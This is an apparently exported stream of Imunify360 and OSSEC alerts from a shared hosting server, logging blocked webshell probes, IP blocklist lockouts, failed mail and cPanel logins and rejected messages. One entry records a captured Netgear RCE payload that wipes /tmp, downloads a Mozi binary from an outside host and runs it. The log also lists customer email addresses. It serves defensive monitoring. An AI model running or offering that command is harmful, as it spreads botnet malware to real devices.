abuser: 181.191.223.214
country_id: 3865483
description:
Jan 19 08:38:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.223.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77350296
name: IM360 WAF: Block access to the shell
abuser: 119.42.58.140
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: Block access to the shell||MV:/wp-content/plugins/seoplugins/mar.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.99.20
country_id: 3996063
description:
Jan 19 08:38:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.99.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/img/photos/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.223.214
country_id: 3865483
description:
Jan 19 08:39:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.223.214 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 08:40:16 +0800] info [webmaild] 180.75.72.60 - general02@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-19 08:41:51 +0800] info [webmaild] 219.95.228.51 - u-net@u-net.com.my "GET /cpsess4098789502/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 08:42:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58328: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-19 08:42:21 +0800] info [webmaild] 219.95.228.51 - u-net@u-net.com.my "GET /cpsess4098789502/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-19 08:43:35 +0800] info [webmaild] 219.95.228.51 - u-net@u-net.com.my "GET /cpsess8957002480/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.115.195.99
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-44.199.115.195.99||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.103
country_id: 1269750
description:
Jan 19 08:45:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 210.10.5.241
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/carsdrifttnc.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.247.137.183
country_id: 2635167
description:
Jan 19 08:45:23 sv3 pure-ftpd[3608764]: (?@185.247.137.183) [INFO] New connection from 185.247.137.183


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.251.251.236
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/shop/14/96/1420732 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 08:45:58 +0800] info [webmaild] 180.75.72.60 - general@smartcable.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.103
country_id: 1269750
description:
Jan 19 08:46:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 103.72.9.6
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:7.64||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://103.72.9.6:58149/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.28.153
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-50.50.117.28.153||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.54
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-50.23.230.243.54||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.23.217.152
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-51.82.23.217.152||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-19 08:52:52 +0800] info [webmaild] 203.106.96.63 - aina.shamira@sutsb.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.79
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/print-2/images/about.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 31.56.212.182
country_id: 1327865
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Parser.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.0.122.112
country_id: 163843
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/tests/SwiftMailerSmokeTestCase.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.133.116.71
country_id: 798544
description:
Jan 19 08:57:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.133.116.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.23.217.83
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-00.82.23.217.83||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/login.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 19 09:02:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 34.31.246.19
country_id: 6252001
domain: acburn.com.my
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.219.219.249
country_id: 1269750
description:
Jan 19 09:05:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.219.219.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.219.219.249
country_id: 1269750
description:
Jan 19 09:05:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.219.219.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.25
country_id: 953987
description:
Jan 19 09:06:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 09:10:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52916: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.25.114
country_id: 933860
description:
Jan 19 09:12:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.25.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.49
country_id: 2300660
description:
Jan 19 09:13:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.170.153
country_id: 3469034
description:
Jan 19 09:13:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.170.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.75.252
country_id: 1269750
description:
Jan 19 09:13:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.75.252 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 143.110.209.215
country_id: 6251999
description:
2026-01-19  9:13:40 333695 [Warning] Aborted connection 333695 to db: 'unconnected' user: 'unauthenticated' host: '143.110.209.215' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-19 09:13:55 H=([185.214.10.21]) [185.214.10.21]:58812 F=<info@mkmetal.com.my> rejected RCPT <mkmadmin@mkmetal.com.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.28.53.18
country_id: 690791
description:
Jan 19 09:15:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.28.53.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.179.91
country_id: 3175395
description:
Jan 19 09:15:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.179.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.194.76.194
country_id: 2017370
description:
Jan 19 09:17:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.194.76.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.194.76.194
country_id: 2017370
description:
2026-01-19 09:17:31 dovecot_login authenticator failed for H=([176.194.76.194]) [176.194.76.194]:60550: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-19 09:18:20 +0800] info [webmaild] 175.144.229.115 - claimservice@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.115
country_id: 3175395
description:
Jan 19 09:18:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.246.73.99
country_id: 3277605
description:
Jan 19 09:18:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.246.73.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.121
country_id: 2963597
description:
Jan 19 09:19:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/plug/sms/img/new-development.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.118.77.54
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/doctrine/annotations/CHANGELOG.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-19 09:21:53 H=(localhost.localdomain) [78.153.140.207]:39452 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 09:22:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.223.114
country_id: 1269750
description:
Jan 19 09:23:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.223.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.223.114
country_id: 1269750
description:
2026-01-19 09:23:48 dovecot_login authenticator failed for H=([182.95.193.177]) [182.95.223.114]:48782: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.100.77
country_id: 1814991
description:
Jan 19 09:23:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.100.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.100.77
country_id: 1814991
description:
2026-01-19 09:23:17 dovecot_login authenticator failed for H=([111.26.100.77]) [111.26.100.77]:53568: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.218.25.187
country_id: 290557
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/export-market.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-19 09:24:40 H=([185.214.10.21]) [185.214.10.21]:52848 F=<info@cordage.com.my> rejected RCPT <sales@cordage.com.my>: smtp auth required


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.139.175.147
country_id: 1733045
description:
[2026-01-19 09:24:56 +0800] info [webmaild] 175.139.175.147 - jingyan@pftfood.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.81.152.135
country_id: 1880251
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/img/photos/1960910356.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.89
country_id: 2510769
description:
Jan 19 09:25:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.44
country_id: 3175395
description:
Jan 19 09:25:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-19 09:26:04 H=([185.214.10.21]) [185.214.10.21]:57937 F=<info@pspoly.com.my> rejected RCPT <info@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.130.31
country_id: 1269750
description:
Jan 19 09:27:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.130.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.124.240.66
country_id: 1835841
description:
Jan 19 09:27:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.124.240.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.26
country_id: 2750405
description:
Jan 19 09:27:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.26 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 66.132.153.119
country_id: 6252001
description:
Jan 19 09:28:16 sv3 pure-ftpd[3672993]: (?@66.132.153.119) [INFO] New connection from 66.132.153.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.234
country_id: 1269750
description:
Jan 19 09:28:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.218
country_id: 1269750
description:
Jan 19 09:29:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 19 09:29:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 199.45.155.109
country_id: 6252001
description:
2026-01-19  9:30:59 334581 [Warning] Aborted connection 334581 to db: 'unconnected' user: 'unauthenticated' host: '199.45.155.109' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 145.239.81.31
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/img/photos/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 151.80.133.130
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/img/photos/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.175.238.150
country_id: 1643084
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/products/masaaki-bokashi/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.156
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-brands-400.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.221
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-solid-900.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-19 09:34:19 +0800] info [webmaild] 175.144.229.115 - purchase2@evergrown,com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 09:38:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52985: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.112
country_id: 1269750
description:
Jan 19 09:39:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.111.114
country_id: 3469034
description:
Jan 19 09:39:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.111.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 19 09:41:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.217.145.130
country_id: 587116
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/diff/src/Parser.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.248
country_id: 6252001
description:
2026-01-19  9:43:35 335142 [Warning] Aborted connection 335142 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.248' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.7.241.150
country_id: 6252001
description:
2026-01-19 09:43:47 dovecot_login authenticator failed for H=104-7-241-150.lightspeed.mmphtn.sbcglobal.net ([127.0.0.1]) [104.7.241.150]:53086: 535 Incorrect authentication data (set_id=info@smartcable.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-19 09:42:57 H=([77.83.39.106]) [77.83.39.106]:63229 F=<Fix@coscoshippingspe.nl> rejected RCPT <mustapa@astlog.com.my>: SPF: 77.83.39.106 is not allowed to send mail from coscoshippingspe.nl


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.190
country_id: 953987
description:
Jan 19 09:50:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.190
country_id: 953987
description:
Jan 19 09:50:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.2.133
country_id: 953987
description:
Jan 19 09:51:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.2.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.9
country_id: 2395170
description:
Jan 19 09:52:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.9 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.202.35.61
country_id: 1831722
description:
[2026-01-19 09:52:20 +0800] info [cpaneld] 160.202.35.61 - eeyh@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.243.150
country_id: 798544
description:
Jan 19 09:56:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.243.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
